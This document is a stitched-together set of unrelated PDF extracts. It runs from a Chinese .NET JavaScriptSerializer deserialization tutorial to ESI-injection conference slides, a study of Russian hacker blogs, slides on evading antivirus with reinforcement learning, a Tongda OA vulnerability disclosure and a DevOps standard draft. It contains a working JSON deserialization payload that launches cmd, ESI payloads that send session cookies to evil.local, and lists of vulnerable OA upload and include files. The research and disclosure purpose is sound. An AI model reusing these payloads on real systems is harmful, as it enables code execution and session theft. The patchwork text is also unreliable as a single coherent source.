SimpleTypeResolver 类,如果创建了,并且反序列化的 Json 数据在可控的情况下就
可以触发反序列化漏洞,借图来说明调用链过程
笔者还是选择 ObjectDataProvider 类方便调用任意被引用类中的方法,具体有关此类
的用法可以看一下《.NET 高级代码审计(第一课) XmlSerializer 反序列化漏洞》,因
为 Process.Start 方法启动一个线程需要配置 ProcessStartInfo 类相关的属性,例如指
定文件名、指定启动参数,所以首先得考虑序列化 ProcessStartInfo,这块可参考
《.NET 高级代码审计(第三课) Fastjson 反序列化漏洞》 ,
之后对生成的数据做减法,去掉无关的 System.RuntimeType、System.IntPtr 数据,
最终得到反序列化 Poc
云影实验室
7 / 11
{
'__type':'System.Windows.Data.ObjectDataProvider,
PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'ObjectInstance':{
'__type':'System.Diagnostics.Process, System, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089',
'StartInfo': {
'__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089',
'FileName':'cmd',
'Arguments':'/c calc.exe'
}
}
}
笔者编写了触发代码,用 Deserialize<Object>反序列化 Json 成功弹出计算器。
云影实验室
8 / 11
0x03 代码审计视角
3.1、Deserialize
从代码审计的角度其实很容易找到漏洞的污染点,通过前面几个小节的知识能发现需要
满足一个关键条件 new SimpleTypeResolver() ,再传入 Json 数据,就可被反序列
化,例如下面的 JsonHelper 类
攻击者只需要控制传入字符串参数 input 便可轻松实现反序列化漏洞攻击。Github 上
也存在大量的不安全案例代码
云影实验室
9 / 11
3.2、DeserializeObject
JavaScriptSerializer 还有一个反序列化方法 DeserializeObject,这个方法同样可以触
发漏洞,具体污染代码如下
0x04 案例复盘
最后再通过下面案例来复盘整个过程,全程展示在 VS 里调试里通过反序列化漏洞弹出
计算器。
1.
输入 http://localhost:5651/Default Post 加载 value 值
云影实验室
10 / 11
2.
通过 DeserializeObject 反序列化 ,并弹出计算器
最后附上动态效果图
云影实验室
11 / 11
0x05 总结
JavaScriptSerializer 凭借微软自身提供的优势,在实际开发中使用率还是比较高的,
只要没有使用类型解析器或者将类型解析器配置为白名单中的有效类型就可以防止反序
列化攻击(默认就是安全的序列化器),对于攻击者来说实际场景下估计利用概率不算
高,毕竟很多开发者不会使用 SimpleTypeResolver 类去处理数据。最后.NET 反序列
化系列课程笔者会同步到 https://github.com/Ivan1ee/ 、
https://ivan1ee.gitbook.io/ ,后续笔者将陆续推出高质量的.NET 反序列化漏洞文
章,欢迎大伙持续关注,交流,更多的.NET 安全和技巧可关注实验室公众号。 | pdf |
Edge Side Include Injection
Abusing Caching Servers into SSRF and Transparent Session
Hijacking
By Louis Dion-Marcil
GoSecure
Edge Side Includes (ESI)… what is it?
Edge Side Includes (ESI)… what is it?
Edge Side Includes (ESI)… what is it?
The Weather Website
Forecast for
Monday
Tuesday
Wednesday
Montréal
27°C
23°C
31°C
Edge Side Includes (ESI)… what is it?
The Weather Website
Forecast for
Monday
Tuesday
Wednesday
Montréal
27°C
23°C
31°C
Variable Fragments
Static Fragment
Edge Side Includes (ESI)… what is it?
❖ Adds fragmentation to caching
❖ App Server send fragment markers in HTTP responses
<esi:[action] attr="val" />
❖ ESI tags are parsed by the HTTP surrogate (load balancer, proxy)
❖ Most engines require specific App Server HTTP Headers
ESI Features & Syntax — Include
page-1.html:
<html>
<p>This is page 1!</p>
<esi:include src="/page-2.html" />
</html>
page-2.html:
<p>This is page 2!</p>
ESI Features & Syntax — Include
$ curl -s http://esi/page-1.html
<html>
<p>This is page 1!</p>
<p>This is page 2!</p>
</html>
ESI Flow (cache miss)
ESI Flow (cache miss)
①/1.html
ESI Flow (cache miss)
①/1.html
②/1.html
ESI Flow (cache miss)
①/1.html
1.html + ESI
②/1.html
③
ESI Flow (cache miss)
①/1.html
1.html + ESI
②/1.html
③
ESI tags
processed
ESI Flow (cache miss)
①/1.html
1.html + ESI
②/1.html
③
④/2.html
ESI tags
processed
ESI Flow (cache miss)
①/1.html
1.html + ESI
②/1.html
③
④/2.html
2.html
⑤
ESI tags
processed
ESI Flow (cache miss)
①/1.html
1.html + ESI
②/1.html
③
④/2.html
2.html
⑤
⑥
+
ESI tags
processed
ESI Features & Syntax — Variables
<esi:vars>$(VARIABLE_NAME)</esi:vars>
ESI Features & Syntax — Variables
<esi:vars>$(VARIABLE_NAME)</esi:vars>
$(HTTP_USER_AGENT)
→ Mozilla/5.0 (X11;[…]
$(QUERY_STRING)
→ city=Montreal&format=C
$(HTTP_COOKIE)
→ _ga=[…]&__utma=[…]
ESI Attacks
❖ ESI tags are sent by the application server
❖ How can the Edge server tell which tags are legitimate?
❖ It can’t.
ESI Injection
<p>
City: <?= $_GET['city'] ?>
</p>
ESI Injection
<p>
City: <?= $_GET['city'] ?>
</p>
<p>
City: <esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars>
</p>
ESI Injection
<p>
City: <?= $_GET['city'] ?>
</p>
<p>
City: <esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars>
</p>
ESI Implementations — Apache Traffic Server
❖ Donated by Yahoo! to Apache
❖ ESI stack implemented, with bonus features
❖ Used by Yahoo, Apple
ESI Implementations — Apache Traffic Server
❖ Offers Cookie whitelisting
❖ Critical cookies not accessible by ESI... or are they?
<esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars> ❌
ESI Implementations — Apache Traffic Server
❖ Offers Cookie whitelisting
❖ Critical cookies not accessible by ESI... or are they?
<esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars> ❌
<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars>
✅
ESI Implementations — Apache Traffic Server
❖ Offers Cookie whitelisting
❖ Critical cookies not accessible by ESI... or are they?
<esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars> ❌
<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars>
✅
→ "_ga=[…]&PHPSESSID=b9gcvscc[…]"
DEMO — Proof of concept
<img src="
//evil.local/username=attacker;session_cookie=s%3ANp...
">
<img src="
//evil.local/<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars>
">
DEMO — Proof of concept
<img src="
//evil.local/username=attacker;session_cookie=s%3ANp...
">
<img src="
//evil.local/<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars>
">
DEMO — Proof of concept
<img src="
//evil.local/username=attacker;session_cookie=s%3ANp...
">
DEMO — Proof of concept
http://evil.local/username=attacker;session_cookie=s%3A...
Internet
DEMO
Now we know...
❖ … we can inject ESI tags,
❖ … we can leak sensitive cookies.
ESI Implementations — Oracle Web Cache (for WebLogic)
❖ Part of the 11g suite
❖ Usually serves WebLogic Application Servers
❖ Initial ESI specification implemented, plus features
DEMO — Proof of concept
<esi:inline name="/js/jquery.js" />
var x = new XMLHttpRequest();
x.open("GET", "//evil.local/?
<esi:vars>$(HTTP_COOKIE{session_cookie})</esi:vars>");
x.send();
</esi:inline>
DEMO — Proof of concept
<esi:inline name="/js/jquery.js" />
var x = new XMLHttpRequest();
x.open("GET", "//evil.local/?
<esi:vars>$(HTTP_COOKIE{session_cookie})</esi:vars>");
x.send();
</esi:inline>
DEMO — Proof of concept
<esi:inline name="/js/jquery.js" />
var x = new XMLHttpRequest();
x.open("GET", "//evil.local/?lHKlM77VbP79hDnMX2Gg...");
x.send();
</esi:inline>
DEMO — Proof of concept
http://evil.local/?lHKlM77VbP79hDnMX2Gg...
Internet
ESI - Mitigations
❖ Escaping!
{
"first_name": "Louis",
"last_name": "<esi:include src=\"/page-2.html\" />"
}
ESI - Mitigations
❖ Escaping!
{
"first_name": "Louis",
"last_name": "<esi:include src=\"/page-2.html\" />"
}
Invalid ESI tag!
ESI - Mitigations
❖ Escaping! Encoding!
{
"first_name": "Louis",
"last_name": "<esi:include src=/foobar />"
}
❖ Escaping? Encoding?This is valid with Apache Traffic Server…
{
"first_name": "Louis",
"last_name": "<esi:include src=\"/page-2.html\" />"
}
Invalid ESI tag!
SSRF with Apache Traffic Server
SSRF with Apache Traffic Server
SSRF with Apache Traffic Server
ESI — SSRF Flow
①/api/me
/api/me + ESI
②/api/me
③
④/server-status
server-status
⑤
⑥
+
ESI tags
processed
ESI — Manual Detection
FOO<!--esi -->BAR
→
FOOBAR
✅
FOO<!--foo -->BAR
→
FOO<!--foo -->BAR
❌
ESI — Automatic Detection
❖ Burp ActiveScan++
❖ Burp Upload Scanner
❖ Acunetix
ESI - Migration
❖ Cloudflare Workers
https://gist.github.com/Overbryd/c070bb1fa769609d404f648c
d506340f
Questions?
Detailed blogpost of our prior research:
https://gosecure.net/2018/04/03/beyond-xss-edge-side-include-injection/
By Louis Dion-Marcil
GoSecure | pdf |
Identifying, Exploring, and
Predicting Threats in the
Russian Hacker Community
Dr. Thomas J. Holt
Michigan State University
[email protected]
Dr. Max Kilger, Spartan Devils Honeynet Project
Dr. Deborah Strumsky, UNC-Charlotte
Dr. Olga Smirnova, Eastern Carolina University
Copyright 2009, all references to this work must
appropriately cite the authors.
Malware and Hacking
• The problem of malware and computer based theft
is increasing and becoming more complex
– The number of unique keyloggers and malware identified
by the apwg have increased during 2008
– CSI/FBI reports that businesses lost over $21 million due
to fraud, as well as over $10 million due to various
malicious software infections
– The Department of Justice argues that it is now more
profitable to engage in computer crime than drug
trafficking
Criminological Research
• Social science research has explored the malware
and hacking community to some degree
– Hackers and malware writers operate within a technology
focused subculture that values skill and ability
– They have relatively loose connections, and sometimes
work in teams to create programs or hack systems
• Few systematic examinations of the malware and
hacker community have examined social ties and
interests
– Generally no predictive research has been conducted
On-line Resources
• The malware and hacking community utilize on-line
resources that can be actively mined for information
• This study will examine the social networks of the
malware and hacking community in Russia and
Eastern Europe using data generated from social
networking blogs
– Blogs provide important information on:
• Current and emerging threats
• The relationships and behavior of attackers
• Locations, attitudes, beliefs
Self-Report Information
• Each LJ profile allows users to provide information on their:
– Location
– Education
– Biographies sometimes provide useful information on psychological
status of the user or whether the journal is friends-only
– Interests can include political affiliation, geographical location as well
as nonsense
– Friends
• people whom the users reads and who can have access to ‘friends-only’
entries
– Also friend of
• people who read this journal and do not have access to protected entries
– Mutual friends
• both users added each other
– Communities
• LJ groups that the individual belongs to
Data and Methods
• This study uses a sample of the members of
multiple hacker groups that have connected forums
known to sell and trade malicious software and
stolen data
– The content of each blog was downloaded and translated
by a native speaker
– Google searching was conducted for each individual to
determine their involvement in the hacker community
– Network analyses were conducted to indicate the
centrality of users with high perceived threat level
Membership
Risk Levels By Group
0
1
2
3
Total
BH
154
12
34
8
208
CU
24
2
4
2
32
DL
30
8
8
8
54
HN
0
0
0
4
4
HZ
180
12
38
4
234
MF
16
0
8
4
28
RU
10
0
4
4
18
Total
414
34
96
34
578
Extrapolating Data: Location
• Location
– From current educational listing
– From ICQ profile or other online contact information
– From communities – if the user belongs to the
communities devoted to finding jobs in particular location
– From Interests – the user can indicate heightened
interests to the particular location
– Each of these categories is further corroborated by
reading the journal entries
Extrapolating Data: Age
• Age
– Education
• Assuming the standard Russian educational trajectory,
we can assign the age with some margin of error
– ICQ profiles
– Journal entries
• users are congratulated on their birthdays, especially
for ages 18-20
Extrapolating Data: Threat
• Threat scores were created and assigned
based on:
• Results from google searches on the handle
provided
– 0: no threat
– 1: computer security blogger
– 2: low level hacker
– 3: high level hacker
General Details
• 70% of users with very low perceived risk
• 13% of users did not provide physical
locations in profiles
• 6% of users provided locations that do not
exist
• 15% friends-only profiles
• 7 females
• 3 virtual identities
Example of age identification
• Zdeusz:
– graduated from high-school in 2002;
– studied at the university in 2003-2008;
– he has spent one year somewhere (working
or preparing to study in the university).
– assuming that he has graduated from school
as majority of Russians at 16, studied 5 years
at the university, then this puts him at 22
years or 1986.
General Educational Information
•
About 14% are currently students
•
The universities with several representatives studying together:
– 6 at Scientific Research Institute of Sorcery and Wizardy
(NIIFAQ), Solvets, Murmanskaya oblast, Russian Federation
(most favorite fake location)
– 5 at Lomonosov Moscow State University
– 5 at National Research Nuclear University (Moscow)
– 4 at Moscow State Technical University n.a. N.E. Bauman
(MSTU)
•
The typology of schools can be classified as following:
– At least 7 users study at various schools with language
affiliations
– 3 computer specialists, 3 engineers, 7 mathematics, 6 physics,
and 32 study at various polytechnic and technical schools
Location
• The regional distribution is skewed to two
prime cities:
– 31% Moscow
– 11% St. Petersburg
– 5% Novosibirsk
– 53% Other cities
• Russian Federation (52%), Ukraine* (6%) Unable to
locate 30% of users
Geographical distribution of hackers vs.
Russian online communities
18.67%
7.46%
17.63%
14.42%
8.19%
11.42%
6.50%
11.23%
4.47%
0.00%
2.00%
4.00%
6.00%
8.00%
10.00%
12.00%
14.00%
16.00%
18.00%
20.00%
Moscow
Saint Petersburg
Central Federal district
Northwestern Federal District
Volga Federal District
Southern Federal District
Ural Federal District
Siberian Federal District
Far Eastern Federal District
Figure 5 . Geographic distribution of RUnet users.
Source: Solovyeva presentation
31.00%
11.00%
5.00%
23.00%
30.00%
0.00%
5.00%
10.00%
15.00%
20.00%
25.00%
30.00%
35.00%
Moscow
Saint Petersburg
Novosibirsk
Other
Non-identified
Geographic distribution of hackers
Our selection compared with the
other hacker conferences
51.00%
27.00%
8.00%
14.00%
0.00%
10.00%
20.00%
30.00%
40.00%
50.00%
60.00%
Moscow
Saint Petersburg
Other
Non-identified
31.00%
11.00%
5.00%
23.00%
30.00%
0.00%
5.00%
10.00%
15.00%
20.00%
25.00%
30.00%
35.00%
Moscow
Saint Petersburg
Novosibirsk
Other
Non-identified
Examples of Location identification
•
The most extreme
–
nait-n8 indicates that lives in ValueTown, Zimbabwe and speaks only Albanian
–
arkanoid indicates that his location St.Peteresburg/Moscow which is supported by his entries
where he looks for a ride to Saint Petersburg for weekend. He works in Moscow and studies
in Saint Petersburg.
–
gayrabbit studied on Cuba, Lithuania, and Tashkent
•
The most common – Moscow, Saint Petersburg
•
Total unknown
–
About 30%
•
Fake locations:
–
“Scientific Research Institute of Sorcery and Wizardry" in Solovets, Murmanskaya oblast‘ (a
fictional institution from Strugatskie' book “Monday starts on Saturday”)
–
Hogwarts
•
County Locations:
–
59% indicates that live in Russian Federation
–
6.6% in Ukraine
–
1.6% in Belarus
–
1.3% in Germany
Gender and Virtual Identities
• Examples of females – represent a very small subset of
hacker’s community, but with the very high degree of
diversity. For example,
– bubnilkin – describes her everyday life
– kiote-the-one – the journal is called ‘serial maniacs’ and subscribed to
communities devoted to studying serial maniacs, the content is about
computer programming (but writes from a female ‘podumalA’)
– 13-ya – has a twin sister and uses her diary for communication with
friends
• Examples of virtual identities
– Mrbuggers – gender is listed as female in ICQ profiles, shown
everywhere else as male, does not provide identification information
in his LJ profile. One of co-founders of BH crew.
– perajok - the journal is from We not I (somebody and Irena
Ponaroshku which translates as Irena Pretending, mostly devoted to
music)
Gender and Virtual Identities
Only one high threat female was identified, eas7. She was well connected to many
males in the network
WowShell -Remote Shell access program
Netme ^_^- Portmap daemon or service application.
GOSS ^_^- GUI Oracle Security Scanner.
sTask ^_^- Console Service Task Manager/rootkit
Https ^_^- HTTPS - Console http/https downloader.
COSS ^_^- COSS - Console Oracle Security Scanner.
Rootkity ^_^ - Rootkits hidden ports checker.
GUI6011 ^_^- GUI Interface v.1.1.77 for Project6011.
GUI6011 ^_^- network scanner
Examples of identities which
appear to be real people
• There is a small percentage of people who do
not hide their real identities, but us Livejournal
and Internet for professional or communal
connections:
– puzanov (Puzanov) is a radio host who gives ads for
his new radio programs
• Puzanov can be his last name or nickname
– stden (Denis Stepulyonok) discusses educational
programs at the institution where he works
• He teaches computer security
BH Crew example
• BHCREW is the separate profile (from BH community)
for founders (or the founder) or BH crew. BH stands for
Bugger-Hukker Crew.
• One of the latest visible entries in the BH crew
community indicates that the community is seeking
information on a computer security specialist
– This might be an example of hackers attack or control marker
• Use their own language and have their own manifesto:
– “The plans of BHC are simple and trivial like hangover: produce
REVOLUTION. Buggers will be the president, Hukkers will be
the prime-minister, well and there, hwat else is there, everybody
gets free coca-cola, golden roller-blades, freebie Internet too,
and that's all!”
Examples of other uses of journals
• diaries
– bubnilkin
• accessory to work
– bukva_b asks different surveys-questionnaires
• collection of materials found in the Internet
– cyberozzman
• Communication means
– BH crew/ other hacker communities
• medium for distributing important information
– BH_crew – posting news about group activities
• mass media type journals with large number of very
popular for reading entries
Depression and Affect
• Heightened levels of depression and
aggression are noted in user blogs, as well as
deviant behavior in general
– lisnake posted in an online photo-resource under
the title: “The Perfect Day for Suicide”
– Crash’s blog titled “My Aimless Life”
– 4kella indicates that he wants to commit suicide,
and receives the comment: “The suicide is for
weak – you have to leave”
Computer Hacking
ASSEMBLY/HIGH LEVEL PROGRAMMING
Computer Security
General Malware
Ring0
Initial Predictive Analysis
• An Anova analysis was conducted based on
frequency of interests in various categories
– Malware
– Operating Systems
– Drugs & Alcohol
– Assembly Language
• Anova Class based on individuals verified as having
created, attempted, or sold malware
0 = no history of hacks/malware
1 = security writer or blogger
2 = script kiddie, hacker or malware creator
Initial Predictive Analysis
Interests
ANOVA
F-Statistic
Malware
Significant
0.0282
Operating Systems
Significant
0.0135
Drugs & Alcohol
Not Significant
0.4703
Assembly Language
Not Significant
0.4881
• Individuals with higher threat levels express more specific
and detailed interests in software techniques and methods,
rather than general topics of interests.
•Threat Level = 0 might list “hacks” as a general interest
•Threat Level = 2 or 3 may list all of the following
“botnets, buffer overflows, ios kernel hack, phreaking,
rootkits, immunity debugger”
Mutual Friends Networks
The complete network of all members & friends.
Mutual Friends Networks
Red- Damagelab
Yellow- BH Crew
Green- Cup
Blue- HZ
Purple- MF
White- HK
Mutual Friends Networks
Red- Damagelab
Yellow- BH Crew
Green- Cup
Blue- HZ
Purple- MF
White- HK
Mutual Friends Networks
Red- Damagelab
Yellow- BH Crew
Green- Cup
Blue- HZ
Purple- MF
White- HK
Mutual Friends Networks
Discussion and Conclusions
• A significant amount of information can be
generated from social networking data
• The Russian hacker community is relatively
centrally located in Moscow and St. Petersburg
– Gender and education reflect general research on the
community
• Groups are well connected, and particularly
threatening hackers are densely connected
– A small percentage of the members appear to be overtly
involved in hacking and malware
Discussion and Conclusions
• Groups are densely connected and redundant
networks exist
– Indicates insulation which may be why so many tools and
attacks are continuously recycled and pushed from skilled
to unskilled
• Interests may be a critical predictor of hacker
behavior
– Multinomial regression models can be developed to
identify factors that help to determine threat level of
hackers
– Test computer simulations of hacker-networks behavior
Thank You!
• Comments or Questions?
• Dr. Thomas J. Holt
Assistant Professor
School of Criminal Justice
Michigan State University
[email protected] | pdf |
Evading next-gen AV using A.I.
Hyrum Anderson
[email protected]
@drhyrum
/in/hyrumanderson
https://github.com/endgameinc/gym-malware
Rules for static analysis
x1
rule malware {
strings:
$reg = “\\CurrentVersion\\Internet Settings”
condition:
filesize < 203K and #reg > 3 }
filesize
count(-registry-prefix)
Next-gen AV using machine learning
f("size,"#reg )
filesize
count(-registry-prefix)
Automated
Sophisticated
relationships
Generalizes
Can We Break Machine Learning?
§
Static machine learning model trained on millions of samples
x1
Machine Learning
Model
score=0.95
(malicious, moderate confidence)
•
Simple structural changes that don’t change behavior
Machine(Learning(
Model
score=0.49
(benign, just barely)
•
upx_unpack
•
‘.text’ -> ‘.foo’ (remains valid entry point)
•
create ‘.text’ and populate with ‘.text from calc.exe’
+
modified
elements
of PE file
Yes! For deep learning and images…
• Machine learning models have blind spots / hallucinate (modeling error)
• Depending on model and level of access, they can be straightforward to exploit
• Adversarial examples can generalize across models / model types (Goodfellow 2015)
•
blind spots in MY model may also be blind spots in YOUR model
(scaled(for(visibility)
image(credit:(http://www.popsci.com/byzantine-science-deceiving-artificial-intelligence
What about for PE malware?
+
= image
Bus (99%), Ostrich (1%)
BUT…
+
!=
modified
bytes or
features
break PE format
destroy function
Malware (90%), Benign (10%)
Attacker requires full knowledge of *deep learning* model
Generated sample may not be valid PE file
Related Work: PDF attack / report score
Genetic algorithm
Functional
Broken
Black Box AV
(produces score)
Oracle
Requires score from black box model
Oracle/sandbox [expensive]
EvadeML [for PDF malware]
(Xu, Qi, Evans, 2016)
Summary of Previous Works
Gradient-based attacks: perturbation or GAN
• Attacker requires full knowledge of model structure and weights
• Generated sample may not be valid PE file
Genetic Algorithms
• Attacker requires score from black box model
• Requires oracle/sandbox [expensive] to ensure that functionality is preserved
Goal: Design a machine learning agent that
•
bypass black-box machine learning using
•
format- and function-preserving mutations
•
hardest attack to pull off; difficult to learn
Reinforcement Learning!
Atari Breakout
Nolan Bushnell, Steve Wozniak, Steve Bristow
Inspired by Atari Pong
"A lot of features of the Apple II went in
because I had designed Breakout for Atari”
(The Woz)
Game
• Bouncing ball + rows of bricks
• Manipulate paddle (left, right)
• Reward for eliminating each brick
Atari Breakout: an AI
• Environment
• Bouncing ball + rows of bricks
• Manipulate paddle (left, right, nothing)
• Reward for eliminating each brick
• Agent
• Input: environment state (pixels)
• Output: action (left, right) via policy
• Feedback: delayed reward (score)
• Agent learns through 1000s of games:
what action is most useful given a
screenshot of the Atari gameplay?
https://gym.openai.com/envs/Breakout-v0
Learning: rewards and credit assignment
+0
+0
+0
+0
+0
(breaks(
brick)
+1
+---------------+---------------+---------------+--------------+----------------+
Anti-malware evasion: an AI
• Environment
• A malware sample (Windows PE)
• Buffet of malware mutations
• preserve format & functionality
• Reward from static malware classifier
• Agent
• Input: environment state (malware bytes)
• Output: action (stochastic)
• Feedback: reward (AV reports benign)
https://github.com/endgameinc/gym-malware
https://github.com/endgameinc/gym-malware
The Agent’s State Observation
Features
• Static Windows PE file features
compressed to 2350 dimensions
• General file information (size)
• Header info
• Section characteristics
• Imported/exported functions
• Strings
• File byte and entropy histograms
• Feed a neural network to choose
the best action for the given
“state”
The Agent’s Manipulation Arsenal
Functionality-preserving mutations:
• Create
• New Entry Point (w/ trampoline)
• New Sections
• Add
• Random Imports
• Random bytes to PE overlay
• Bytes to end of section
• Modify
• Random sections to common name
• (break) signature
• Debug info
• UPX pack / unpack
• Header checksum
• Signature
The Machine Learning Model
Static PE malware classifier
• gradient boosted decision tree (for which
one can’t directly do gradient-based attack)
• need not be known to the attacker
Machine learning malware model for demo purposes only. Resemblance to Endgame or other vendor models is incidental.
Ready,"Fight!
Evasion Results
• Agent training: 15 hours for 100K trials (~10K games x 10 turns ea.)
• Using malware samples from VirusShare
Cross-evasion: detection(
rate(on(VirusTotal (average)
• from(35/62((original)(
• to(25/62((evade)
0%
2%
4%
6%
8% 10% 12% 14% 16% 18%
random(mutations
black(box
Evasion-rate-on-200-holdout-samples
Summary
• Gym-malware: https://github.com/endgameinc/gym-malware
• No knowledge of target model needed
• Manipulates raw binaries: no malware source / disassembly needed
• Produces variants that preserve format and function of original
• Make it better!
• Machine learning models quite effective, even under attack
• All machine learning models have blind spots
Thank(you!
Hyrum Anderson
Technical Director of Data Science
[email protected]
@drhyrum
/in/hyrumanderson
Co-contributors:
Anant Kharkar, University of Virginia
Bobby Filar, Endgame
Phil Roth, Endgame | pdf |
⾸⻚
⽹络安全
移动安全
招聘信息
English
«NSA和FBI联合曝光俄罗斯开发的Lin...
HW防守 | 如何做⼀名优秀的监控/研判... »
HW前的礼盒:通达OA 0day请查收
2020-08-16 22:08
即将迎来安全圈内的⼀场博弈,由于2015以及2017版本已不在更新且在补天平台通
达专属⼚商也不再收低版本的漏洞,我决定在正式开始之前公布通达OA⼀些历史遗
留问题,下⾯公布的"0day"在官⽹最新版本(2019)中已经修复。⼀些官⽅还未审
核、未在最新版中修复的漏洞,会在后续修复后持续更新检测⼯具。
ADS
随机推荐
四川省某市政府信息公开系统漏洞导致
敏感内容泄露(影响⼏⼗个部⻔)
知道创宇为“湖湘杯”安全⼤赛提供全程
⽀持
Android Content Provider Security
万户⽹络⽆条件SQL注⼊
XSS⼊⻔教程⽂档
看我如何利⽤单⼀注⼊点从Firefox浏览
器中提取CSS数据
多个Moxa AWK-3131A(⼯控⽆线⽹络
设备)漏洞可导致任意代码执⾏
肖⼒:云原⽣安全下看企业新边界——
身份管理
个⼈隐私信息泄露不仅仅发⽣在明星身
上
从“RSAC创新沙盒2020”看隐私数据保
护
标签云
漏洞[7275] 注⼊[3125] Web安全[1502]
xss[1313] ⼯具[1013] 系统安全[904] ⽹
络安全[807] 技术[716] ⾏业动态[673] 技
术分享[660] CMS[652] Android[586] 动
记录⿊客技术中优秀的内容,传播⿊客⽂化,分享⿊客技术精华
由于通达OA涉及的⽤户量众多,为防⽌攻击⽅利⽤"0day"获取服务器权限等,特此
将这些未公开但已修复的⾼危漏洞整理⾄本⽂,并附⾃检poc(公众号回复通达OA
即可获得)供蓝队同仁使⽤,提前做好防护。
本⽂不会过多讲解漏洞相关细节,请勿将提供的⾃检⼯具⽤于违法⾏为,否则后果
⾃负。
前台SQL注⼊
由于编码原因,低版本的通达OA前台注⼊还是有⼀些的,这⾥只整理本⼈发现的且在最
新版本(2019)中已经修复的利⽤点。
1. ispirit/retrieve_pwd.php
影响版本:2015(官⽹当前的2015也已经修复)-2019(2019最近更新的版本已修
复)
利⽤条件:⽆
态[566] 业界[541] ⿊客[525] 漏洞分析
[471] 安全报告[466] 渗透测试[465] 攻击
[460] 终端安全[459]
组合漏洞RCE
任意⽂件上传
影响版本:2015-2017
利⽤条件:需要任意⽤户登录,⽬录不可控,且当前⽬录⽆权限执⾏脚本⽂件。
1. general/reportshop/utils/upload.php
代码图⽚截⾃2015版
⽂件包含(⼀)
影响版本:2015-2017
利⽤条件:只能包含指定php⽂件
1. inc/second_tabs.php
为防⽌利⽤poc做违法攻击⾏为,检测⼯具中不给出相应payload,仅提示存在漏洞
⽂件,请⾃⾏查看代码检测并修复漏洞。
⽂件包含(⼆)
影响版本:2015-2017
利⽤条件:需要任意⽤户登录,只能包含指定php⽂件
1. general/reportshop/utils/upload.php
代码图⽚截⾃2015版
为防⽌利⽤poc做违法攻击⾏为,检测⼯具中不给出相应payload,仅提示存在漏洞
⽂件,请⾃⾏查看代码检测并修复漏洞。
任意⽂件上传
影响版本:2015-2017
利⽤条件:需要任意⽤户登录
1. mobile/reportshop/report/getdata.php
代码图⽚截⾃2015版
任意⽂件删除
影响版本:2015-2017
利⽤条件:需要任意⽤户登录
1. general/reportshop/utils/upload.php
代码图⽚截⾃2015版
写在后⾯
由于并未精确测试,漏洞影响的版本可能与⽂中所描述有所偏差(请⾃检)。由于
通达OA2015-2017版本的⽤户⽐较多,且官⽅已不怎么维护,因此提前放出存在的
隐患,望各位防守⽅同仁尽快发现并修复漏洞。后⾯会持续更新检测⼯具,还有很
提交评论
多洞由于未修复等原因暂时⽆法透露过多,接下来会根据情况发布漏洞的详细信息
及其他漏洞的利⽤。
坚守阵地!!!
我顶 0
我踩
知识来源: https://mp.weixin.qq.com/s?
__biz=MzU0ODg2MDA0NQ==&mid=2247484338&idx=1&sn=e14e918bdd197047d7c92c693c8702f5&c
hksm=fbb9fa50ccce7346d1c95f290311fbde988a07e844e02502fedddca273b045bf2e41b3b8c221&mps
hare=1&
阅读:6983 | 评论:0 | 标签:0day
想收藏或者和⼤家分享这篇好⽂章→复制链接地址
“HW前的礼盒:通达OA 0day请查收”共有0条留⾔
发表评论
姓名:
邮箱:
⽹址:
验证码: 84减
加46是5
⿊客技术 © 2012-2020 | 关于&合作 | 京ICP备15005440号 | pdf |
ICS
点击此处添加中国标准文献分类号
备案号:
中 华 人 民 共 和 国 行 业 标 准
XX/T XXXXX—XXXX
研发运营一体化(DevOps)能力成熟度模
型
第 5 部分:应用设计
The capability maturity model of DevOps
Part 5: Application Design
点击此处添加与国际标准一致性程度的标识
(征求意见稿)
- XX - XX 发布
XXXX - XX - XX
发 布
XX/T XXXXX—XXXX
I
目录!
前言.................................................................................. II!
研发运营一体化(DevOps)能力成熟度模型 第 5 部分:应用设计.............................. 1!
1 范围................................................................................. 1!
2 规范性引用文件....................................................................... 1!
3 术语................................................................................. 1!
3.1 软件架构 Software Architecture................................................... 1!
3.2 应用程序 Application............................................................. 1!
3.3 运行时环境 Runtime Environment................................................... 1!
3.4 软件包 Software Package.......................................................... 1!
4 缩略语............................................................................... 1!
5 应用设计............................................................................. 2!
5.1 应用接口......................................................................... 2!
5.2 应用性能......................................................................... 4!
5.3 应用扩展......................................................................... 6!
5.4 故障处理......................................................................... 8!
A..................................................................................... 10!
A..................................................................... 错误! 未定义书签。!
附 录 A (规范性附录) 五级度量指标定义............................. 错误! 未定义书签。!
参考文献.............................................................................. 11!
XX/T XXXXX—XXXX
II
前 言
研发运营一体化是指在IT软件及相关服务的研发及交付过程中,将应用的需求、开发、测试、部署
和运营统一起来,基于整个组织的协作和应用架构的优化,实现敏捷开发、持续交付和应用运营的无缝
集成。帮助企业提升IT效能,在保证稳定的同时,快速交付高质量的软件及服务,灵活应对快速变化的
业务需求和市场环境。
本标准是“研发运营一体化(DevOps)能力成熟度模型”系列标准的第 5 部分 应用设计,该系列标
准的结构和名称如下:
第1部分:总体架构
第2部分:敏捷开发管理
第3部分:持续交付
第4部分:技术运营
第5部分:应用设计
第6部分:安全风险管理
第7部分:组织结构
本标准按照GB/T 1.1-2009给出的规则起草。
本标准由中国通信标准化协会提出并归口。
本标准起草单位: 待完善
本标准主要起草人:待完善
XX/T XXXXX—XXXX
1
研发运营一体化(DevOps)能力成熟度模型 第 5 部分:应用设计
1 范围
本标准规定了研发运营一体化(DevOps)能力成熟度模型中应用设计能力的成熟度要求。
本标准适用于具备IT软件研发、交付、运营能力的组织实施IT软件开发和服务过程的能力进行评价
和指导;可供其他相关行业或组织进行参考;也可作为第三方权威评估机构衡量软件开发交付成熟度的
标准依据。
2 规范性引用文件
下列文件对于本文件的应用是必不可少的。凡是注日期的引用文件,仅所注日期的版本适用于本文
